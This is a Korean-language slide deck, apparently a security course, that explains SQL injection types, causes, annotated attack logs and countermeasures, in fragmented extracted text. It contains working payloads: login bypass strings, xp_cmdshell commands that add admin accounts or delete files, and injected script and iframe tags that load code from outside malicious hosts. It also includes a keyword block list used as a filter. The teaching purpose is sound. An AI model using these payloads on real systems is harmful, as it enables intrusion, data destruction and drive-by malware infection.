1 4 SQL Injection SQL Injection SELECT FROM

  • Slides: 59
Download presentation
1

1

4. SQL Injection – 종류 구분 ① SQL Injection – 논리적 에러 예. SELECT

4. SQL Injection – 종류 구분 ① SQL Injection – 논리적 에러 예. SELECT * FROM user_data WHERE last_name = 'Your Name' or '1=1‘ ② Blind SQL Injection – 쿼리 결과 여부 예1. http: //www. xxx. com/page. php? id=5 and 1=1 예2. http: //www. xxx. com/page. php? id=5 and 1=2 ③ Union SQL Injection – 이중 쿼리 예1. http: //www. site. com/news. php? id=5 union all select top 1 table_name from information_schema. tables ④ Stored Procedure SQL Injection - 저장프로시저 예1. http: //www. site. com/member/checkid. asp? id= '; CREAT. . . r. dbo. xp_cmdshell%20'netstat%20 -an'; 12 15

4. SQL Injection – 원인은 무엇인가? System Object 권한제어 없이 기본 값 사용 1

4. SQL Injection – 원인은 무엇인가? System Object 권한제어 없이 기본 값 사용 1 ) exec master. . xp_cmdshell 'net user administrator password' 디폴트 유저인 administrator의 패스워드 변경 2 ) exec master. . xp_cmdshell 'dir c: ' C 드라이브 정보 보기 3 ) exec master. . xp_cmdshell 'del c: /q/s' C 드라이브 파일 삭제 DB 계정을 관리자 계정(sa) 으로 일괄적 사용 1) bbs/bbs. asp? id=1 16

4. SQL Injection 기본 방법 이해 $id=admin $passwd= 1’ or ‘ 1=1 admin *****

4. SQL Injection 기본 방법 이해 $id=admin $passwd= 1’ or ‘ 1=1 admin ***** 관리자로 로그인 성공 $str. Login. SQL = "Select * from member where id = ‘admin' '$str. User. ID' and password = ‘ 1’=or '$str. User. Pass'"; ‘ 1 = 1'"; FALSE TRUE 17

4. SQL Injection 공격 로그 – 첫 번째 1. Number=2002 -002412'|63|80040 e 14|'2002 -002412''_문자열_앞에_닫히지_않은_인용_부호가_있습니다.

4. SQL Injection 공격 로그 – 첫 번째 1. Number=2002 -002412'|63|80040 e 14|'2002 -002412''_문자열_앞에_닫히지_않은_인용_부호가_있습니다. 2. Number=2002 -002412' and user=1 and ''='|63|80040 e 07|nvarchar_값_'team'을(를)_int_데이터_형식의_ 열로_변환 하는_중_구문_오류가_발생했습니다. 500 3. Number=2002 -002412' And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And ''='|63|80040 e 07|varchar_값_'0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 4. /Report. asp Number=2002 -002412' And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And ''='|63|80040 e 07|varchar_값_'1|'을(를)_int_데이터_형식의_열로_변환하는_중_ 구문_오류가_발생했습니다. 500 5. Number=2002 -002412’; exec master. dbo. addextendedproc 'xp_cmdshell', 'xplog 70. dll' 6. Number=2002 -002412’; EXEC%20 MASTER. . XP_CMDSHELL%20'echo%20^<iframe%20 src=^'http: //www. netpk. org/subway/icyfo x. htm^'%20 24

4. SQL Injection 공격 로그 – 첫 번째 확인한 계정의 서버역할이 sysadmin 인지 요청함

4. SQL Injection 공격 로그 – 첫 번째 확인한 계정의 서버역할이 sysadmin 인지 요청함 ' And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And ''=‘ IS_SRVROLEMEMBER(서버역할) sysadmin serveradmin setupadmin securityadmin processadmin   관리자권한(모든권한수행) 서버차원의 설정을 구성 연결된 서버 추가 및 제거 서버 로그인 관리 SQL 인스턴스에서 실행중인 프로스세 관리 26

4. SQL Injection 공격 로그– 첫 번째 확인한 계정의 DB역할이 db_owner 인지 요청함 '

4. SQL Injection 공격 로그– 첫 번째 확인한 계정의 DB역할이 db_owner 인지 요청함 ' And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And ''=' IS_MEMBER(DB역할) db_owner db_accessadmin db_datareader   모든 db역할 수행 db내 사용자 추가 및 삭제 사용자테이블에서 모든 데이터 보기 27

4. SQL Injection 공격 로그 – 첫 번째 생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열

4. SQL Injection 공격 로그 – 첫 번째 생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(<iframe>…. . ) 및 소스 중간 삽입 ’; EXEC%20 MASTER. . XP_CMDSHELL%20'echo%20^ <iframe%20 src=^'http: //www. netpk. org/subway/icyfox. htm^'%20 악성프로그램(다운로드) 사용자 <iframe src=http: //xxx. xxx> 29

4. SQL Injection 공격 로그 – 두 번째 2007 -01 -05 15: 50: 54

4. SQL Injection 공격 로그 – 두 번째 2007 -01 -05 15: 50: 54 XXX. 24. 57 – [피해 시스템 IP] 80 GET /member/checkid. asp id='; CREAT. . . r. dbo. xp_cmdshell%20'netstat%20 -an'; 2007 -01 -05 15: 51: 42 XXX. 24. 57 – [피해 시스템 IP] 80 GET /member/checkid. asp id='; CR. . . mdshell%20'net%20 user%203800 hk%20/add'; --- 중략 --2007 -01 -05 15: 51: 59 XXX. 24. 57 – [피해 시스템 IP] 80 GET /member/checkid. asp id='; CRE. . . shell%20'net%20 localgroup%20 administrators%203800 hk%20/add'; --- 중 략 -'); exec%20 master. dbo. sp_dropextendedproc%20'xp_cmdshell'-- 200 확장형 저장 프로시저 (xp_cmdshell)제거 - dropextendedproc ; exec%20 master. dbo. sp_dropextendedproc%20'xp_cmdshell'-- 30

4. SQL Injection 공격 로그 – 세 번째 /Test. asp Code= Bank' &Number=7 &Ref=7'

4. SQL Injection 공격 로그 – 세 번째 /Test. asp Code= Bank' &Number=7 &Ref=7' &Page=1&Sear=Writer&Key= |24|80040 e 14| '_SET_Visited=Visited+1_WHERE_Number_=_7'_문자열_앞에_닫히지_ 않은_인용_부호가_있습니다. 500 === 초기형태로 특수문자(‘)후 에러 노출 여부 확인 목적 /Report. asp Number=2002 -002412' and user=1 and ''=‘ |63|80040 e 07|nvarchar_값_'blabla'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_ 발생했습니다. 500 === 에러 노출을 이용한 db 계정 획득 목적 200 X-09 -10 06: 24: 49 /Report. asp Number=2002 -002412' And Cast(IS_SRVROLEMEMBER(0 x 730079007300610064006 D 0069006 E 00) as varchar(1))+char(124)=1 And ''=‘ |63|80040 e 07|varchar_값_'0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_ 발생했습니다. 500 === db계정(blabla)가 sysadmin 인지를 확인 31

4. SQL Injection 공격 로그 – 세 번째 IS_SRVROLEMEMBER(0 x 730079007300610064006 D 0069006 E

4. SQL Injection 공격 로그 – 세 번째 IS_SRVROLEMEMBER(0 x 730079007300610064006 D 0069006 E 00) = IS_SRVROLEMEMBER(sysadmin) 32

4. SQL Injection 공격 로그 – 세 번째 /Report. asp Number=2002 -002412' And Cast(IS_MEMBER(0

4. SQL Injection 공격 로그 – 세 번째 /Report. asp Number=2002 -002412' And Cast(IS_MEMBER(0 x 640062005 F 006 F 0077006 E 0065007200) as varchar(1))+char(124)=1 And ''='|63|80040 e 07|varchar_값_'1|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오 류가_발생했습니다. 500 === db_owner인지 확인 요청 Cast(IS_MEMBER(0 x 640062005 F 006 F 0077006 E 0065007200) = Cast(IS_MEMBER(db_owner) 33

4. SQL Injection 공격 로그 – 세 번째 200 X-09 -10 06: 24: 52

4. SQL Injection 공격 로그 – 세 번째 200 X-09 -10 06: 24: 52 /Report. asp Number=2002 -002412' And db_name()+char(124)=0 And ''='|63|80040 e 07|nvarchar_값_'blabla|'을(를)_int_데이터_형식의_열로_변환하는_중_ 구문_오류가_발생했습니다. 500 Microsoft+URL+Control+-+6. 00. 8862 db_name() 함수 : 데이터베이스 이름 제공 34

4. SQL Injection 공격 로그 – 세 번째 /Report. asp Number=2002 -002412'; DROP TABLE

4. SQL Injection 공격 로그 – 세 번째 /Report. asp Number=2002 -002412'; DROP TABLE NB_Tree. List_Tmp; CREATE TABLE NB_Tree. List_Tmp(subdirectory nvarchar(256) NULL, depth tinyint NULL, [file] bit NULL)-- 200 Microsoft+URL+Control+-+6. 00. 8862 (1) 테이블 삭제 ( drop nb_treelist_tmp ) (2) 테이블 생성 ( create table nb_treelist_tmp … ) 35

4. SQL Injection 공격 로그 – 세 번째 200 X-09 -10 06: 25: 22

4. SQL Injection 공격 로그 – 세 번째 200 X-09 -10 06: 25: 22 /Report. asp Number=2002 -002412'; Insert NB_Tree. List_Tmp exec master. . xp_dirtree 'C: ', 1, 1 -- 200 Microsoft+URL+Control+-+6. 00. 8862 === 디렉토리 정보 테이블에 삽입 exec master. . xp_dirtree 'C: ‘ 1 1 36

4. SQL Injection 공격 로그 – 세 번째 200 X-09 -10 06: 25: 22

4. SQL Injection 공격 로그 – 세 번째 200 X-09 -10 06: 25: 22 /Report. asp Number=2002 -002412' And (Select Top 1 cast([subdirectory] as varchar(256))+char(124)+cast([file] as varchar(1))+char(124) From(Select Top 1 [subdirectory], [file] From NB_Tree. List_Tmp ORDER BY [file], [subdirectory]) T ORDER BY [file] desc, [subdirectory] desc)=0 And 'f. ALSE'<>'|63|80040 e 07|varchar_값_'ASFRoot|0|'을(를)_int_데이터_형식의_열로_변환하는_ 중_구문_오류가_발생했습니다. 500 200 X-09 -10 06: 25: 32 /Report. asp Number=2002 -002412' And (Select Top 1 cast([subdirectory] as varchar(256))+char(124)+cast([file] as varchar(1))+char(124) From(Select Top 21 [subdirectory], [file] From NB_Tree. List_Tmp ORDER BY [file], [subdirectory]) T ORDER BY [file] desc, [subdirectory] desc)=0 And 'f. ALSE'<>'|63|80040 e 07|varchar_값_'WS_FTP. LOG|1|'을(를)_int_데이터_형식의_열로_변환하 는_중_구문_오류가_발생했습니다. 500 37

4. SQL Injection 공격 로그 – 세 번째 SQL> SELECT rowid, rownum, deptno, dname

4. SQL Injection 공격 로그 – 세 번째 SQL> SELECT rowid, rownum, deptno, dname from dept; ROWID ROWNUM DEPTNO DNAME ---------- -------AAA 10 ACCOUNTING AAB 20 RESEARCH AAC 30 SALES AAD 40 OPERATIONS SQL> SELECT ENAME, SAL, ROWNUM FROM(SELECT * FROM EMP ORDER BY SAL DESC); ENAME SAL ROWNUM ----------ABBK 7000 1 KING 5000 2 FORD 3000 3 SCOTT 3000 4 JONES 2975 5 BLAKE 2850 6 CLARK 2450 7 ALLEN 1600 8 38

4. SQL Injection 공격 로그 – 세 번째 200 X-09 -10 06: 33: 17

4. SQL Injection 공격 로그 – 세 번째 200 X-09 -10 06: 33: 17 /Report. asp Number=2002 -002412'; declare @a sysname, @s nvarchar(4000) select @a=db_name(), @s=0 x 6 C 006 F 00760065002 E 00620061006 B 00 backup database @a to [email protected]; -- 200 -Declare : 선언하는 함수 [email protected]를 sysname ( @a=db_name() 는 데이터베이스이름을 @a로 할당) - @s를 nvarchar(4000)형태로 4000바이트의 공간 할당하며, 16진수형태이름을 할당함, 즉 love. bak라는 이름을 @s로 별칭줌 @s=0 x 6 C 006 F 00760065002 E 00620061006 B 00 - Backup database @a(db_name()) to [email protected] 참고) 백업 명령: backup database 데이터베이스이름 to 백업장치 39

4. SQL Injection 공격 로그 – 네 번째 200 X-XX-13 14: 15: 45 x.

4. SQL Injection 공격 로그 – 네 번째 200 X-XX-13 14: 15: 45 x. x GET /totalboards/bbs/view. asp board_id=normal 93&number=2'%20 update%20 normal%20 set%20 subject%20=%20'%3 CB%3 E!nf 3 r. N. 4 l. L%3 C/b%3 E'; --|402|800 a 000 d|형식이_일치하지_않습니다. : _'cint' Update normal(테이블이름) set subject(필드) = '<h 2>!nf 3 r. N. 4 l. L Was Here</2>‘(내용); 참고)update 테이블이름 set 필드이름 = ‘변경내용’ Quiz. 공격자는 사전에 테이블이름과 필드이름, 필드타입 등을 어떻게 취득 가능하였을 까? 40

4. SQL Injection 공격 로그 – 네 번째 테이블 이름 : FSB_USERS 필드 :

4. SQL Injection 공격 로그 – 네 번째 테이블 이름 : FSB_USERS 필드 : user_id user_name user_id password creation_date 그렇다면 필드의 데이터 타입은? 'UNION select sum(user_id) from FSB_USERS having 1=1 -참고 : sum은 숫자 타입에만 사용 가능 The sum or average aggregate operation cannot take a varchar data type as an argument.

4. SQL Injection 공격 로그 – 네 번째 결론 : 결국 데이터베이스 정보(테이블 및

4. SQL Injection 공격 로그 – 네 번째 결론 : 결국 데이터베이스 정보(테이블 및 필드 이름, 필드 타입)확보를 통해 임의 데이터 변조가 가능함 테이블 이름 : FSB_USERS 필드 : user_id ( integer ) user_name ( varchar ) user_id ( varchar ) password ( varchar ) creation_date ( datetime ) 'insert into FSB_USERS values (user_id, ‘user_name', ‘user_id', ‘password', GETDATE())--

4. SQL Injection 공격 로그 – 다섯 번째 GET /home/site_content_3. asp s=290'; DECLARE%20@S%20 NVARCHAR(4000);

4. SQL Injection 공격 로그 – 다섯 번째 GET /home/site_content_3. asp s=290'; DECLARE%[email protected]%20 NVARCHAR(4000); SET%[email protected]=CAST(0 x 6400650063006 C 006100 중간생략 … 00200040006 D 003 D 005200450056004500520053004500280040006 D 0029003 B 007300650 07400200040006 D 003 D 0073007500620073007400720069006 E 006700280040006 D 002 C 005 0004100540049004 E 00440045005800270025003 B 00250027002 C 0040006 D 0029002 C 00 38003000300029003 B 00730065007400200040006 D 003 D 0052004500560045005200530 04500280040006 D 0029003 B 006500780065006300280040006 D 0029003 B 00%20 AS%20 NVA RCHAR(4000)); EXEC(@S); -declare @m varchar(8000); set @m=''; select @[email protected]+'update['+a. name+']set['+b. name+']=rtrim(convert(varchar, '+b. name+'))+''<script src="http: //yl 18. net/0. js"></script>''; ' from dbo. sysobjects a, dbo. syscolumns b, dbo. systypes c where a. id=b. id and a. xtype='U'and b. xtype=c. xtype and c. name='varchar'; set @m=REVERSE(@m); set @m=substring(@m, PATINDEX('%; %', @m), 8000); set @m=REVERSE(@m); exec(@m); 46

4. SQL Injection 공격 로그 – 다섯 번째 Syscolumns, systypes 정보 49

4. SQL Injection 공격 로그 – 다섯 번째 Syscolumns, systypes 정보 49

4. SQL Injection 공격 로그 – 다섯 번째 declare @m varchar(8000); set @m=''; select

4. SQL Injection 공격 로그 – 다섯 번째 declare @m varchar(8000); set @m=''; select @[email protected]+'update['+a. name+']set['+b. name+']=rtrim(convert(varchar, '+b. name+'))+''<script src="http: //yl 18. net/0. js"></script>''; ' from dbo. sysobjects a, dbo. syscolumns b, dbo. systypes c where a. id=b. id and a. xtype='U'and b. xtype=c. xtype and c. name='varchar'; set @m=REVERSE(@m); set @m=substring(@m, PATINDEX('%; %', @m), 8000); set @m=REVERSE(@m); exec(@m); Sysobjects(테이블 이름) Syscolumns(테이블 필드), Systypes(테이블 필드의 데이터 타입) dbo. sysobjects a ( sysobjects를 a 로 별칭 ) dbo. syscolumns b ( syscolumn를 b 로 별칭 ) dbo. systypes c ( systypes를 c 로 별칭 ) where a. id=b. id and a. xtype='U‘ and b. xtype=c. xtype and c. name='varchar'; 테이블정보 사용자테이블 필드 데이터필드 중 varchar 50

4. SQL Injection 공격 로그 – 다섯 번째 declare @m varchar(8000); set @m=''; select

4. SQL Injection 공격 로그 – 다섯 번째 declare @m varchar(8000); set @m=''; select @[email protected]+'update['+a. name+']set['+b. name+']=rtrim(convert(varchar, '+b. name+'))+''<script src="http: //yl 18. net/0. js"></script>''; ' from dbo. sysobjects a, dbo. syscolumns b, dbo. systypes c where a. id=b. id and a. xtype='U'and b. xtype=c. xtype and c. name='varchar'; set @m=REVERSE(@m); set @m=substring(@m, PATINDEX('%; %', @m), 8000); set @m=REVERSE(@m); exec(@m); Sysobjects(테이블 이름) Syscolumns(테이블 필드), Systypes(테이블 필드의 데이터 타입) UPDATE 테이블명 SET 속성명 = 데이터[, 속성명 = 데이터, . . ] WHERE 조건; 예) <사원> 테이블에서 홍길동의 주소를 '이월면' 으로 갱신하는 SQL문 UPDATE 사원 SET 주소='이월면' WHERE 이름='홍길동'; ‘ update['+a. name+']set['+b. name+']= rtrim(convert(varchar, '+b. name+'))+''<script src="http: //yl 18. net/0. js"></script>''; ' 51

4. SQL Injection 공격 로그 – 다섯 번째 declare @m varchar(8000); set @m=''; select

4. SQL Injection 공격 로그 – 다섯 번째 declare @m varchar(8000); set @m=''; select @[email protected]+'update['+a. name+']set['+b. name+']=rtrim(convert(varchar, '+b. name+'))+''<script src="http: //yl 18. net/0. js"></script>''; ' from dbo. sysobjects a, dbo. syscolumns b, dbo. systypes c where a. id=b. id and a. xtype='U'and b. xtype=c. xtype and c. name='varchar'; set @m=REVERSE(@m); set @m=substring(@m, PATINDEX('%; %', @m), 8000); set @m=REVERSE(@m); exec(@m); • reverse()함수 - 문자열을 역순으로 출력 • substring()함수 – 문자열의 시작위치를 지정하고, 해당 위치부터 길이를 출력 형식: SUBSTRING(문자열, 시작위치, 길이) (예) SELECT Substring('abcde', 2, 3) 결과>> bcd patindex()함수 - 문자열이 시작되는 위치 알려줌 • 쿼리 실행 전 게시판 글 변조된 형태 : 게시판; <script>; • Reverse()함수적용: ; <tpircs>; 판시게 • Substring()함수적용 : 기존 게시판 글 일부 손실을 방지하기 위해 ; 부터 시작해서 8000바이트 정도를 출력하고 다시 이를 reverse하여 원래의 형태로 변경함 • Reverse()함수적용: 게시판; <script>; 52

4. SQL Injection 공격 대책 PHP. addslashes() 함수 사용 특수문자 필터링 (예) $query=sprintf("SELECT id,

4. SQL Injection 공격 대책 PHP. addslashes() 함수 사용 특수문자 필터링 (예) $query=sprintf("SELECT id, password, username FROM user_table WHERE id='%s'; “ , addslashes($id)); 55

4. SQL Injection 공격 대책 ASP(MS SQL)사이트에서는 DB연결 파일에 적용하여 전체 페이지에 적용하지 않고

4. SQL Injection 공격 대책 ASP(MS SQL)사이트에서는 DB연결 파일에 적용하여 전체 페이지에 적용하지 않고 필터링 효과를 제공 받을 수 있다. sql_pattern = Array("-", "; ", "/*", "*/", "@@", "char", "nchar", "varchar", "nvarchar", "alter", "begin", "cast", "create", "cursor", "declare", "delete", "drop", "end", "execute", "fetch", "insert", "kill", "open", "select", "sysobjects", "syscolumns", "table", "update", "<script", "</script>", "'") ( 공격패턴 정의 ) for each item in Request. Query. String ( GET방식 입력 값 ) for array_counter = lbound(sql_pattern) to ubound(sql_pattern) ( sql_pattern 배열크기계산 ) item_position 1 = In. Str(lcase(Request(item)), sql_pattern(array_counter)) Instr()함수는 들어온 문자열을 검사합니다. lcase()함수는 대문자를 소문자로 무조건 변환 if (item_position 1 > 0) or (item_position 2 > 0) then ( 공격문자열이 있는 경우 ) Response. Write("악의적인 문자열이 포함되어 있습니다. “) 57

4. SQL Injection 공격 대책 function h_check(Objectname) { var int. Err var str. Value

4. SQL Injection 공격 대책 function h_check(Objectname) { var int. Err var str. Value = Objectname// var str. Value = Objectname. value var ret. Code = 0 for (i = 0; i < str. Value. length; i++) { var ret. Code = str. Value. char. Code. At(i) var ret. Char = str. Value. substr(i, 1). to. Upper. Case() ret. Code = parse. Int(ret. Code) if ((ret. Char < "0" || ret. Char > "9") && ret. Char != '-' && ret. Char !='_' && (ret. Char < "A" || ret. Char > "Z") && ((ret. Code > 255) ||ret. Char=="'"||(ret. Code < 0))) { int. Err = -1; break; } } 59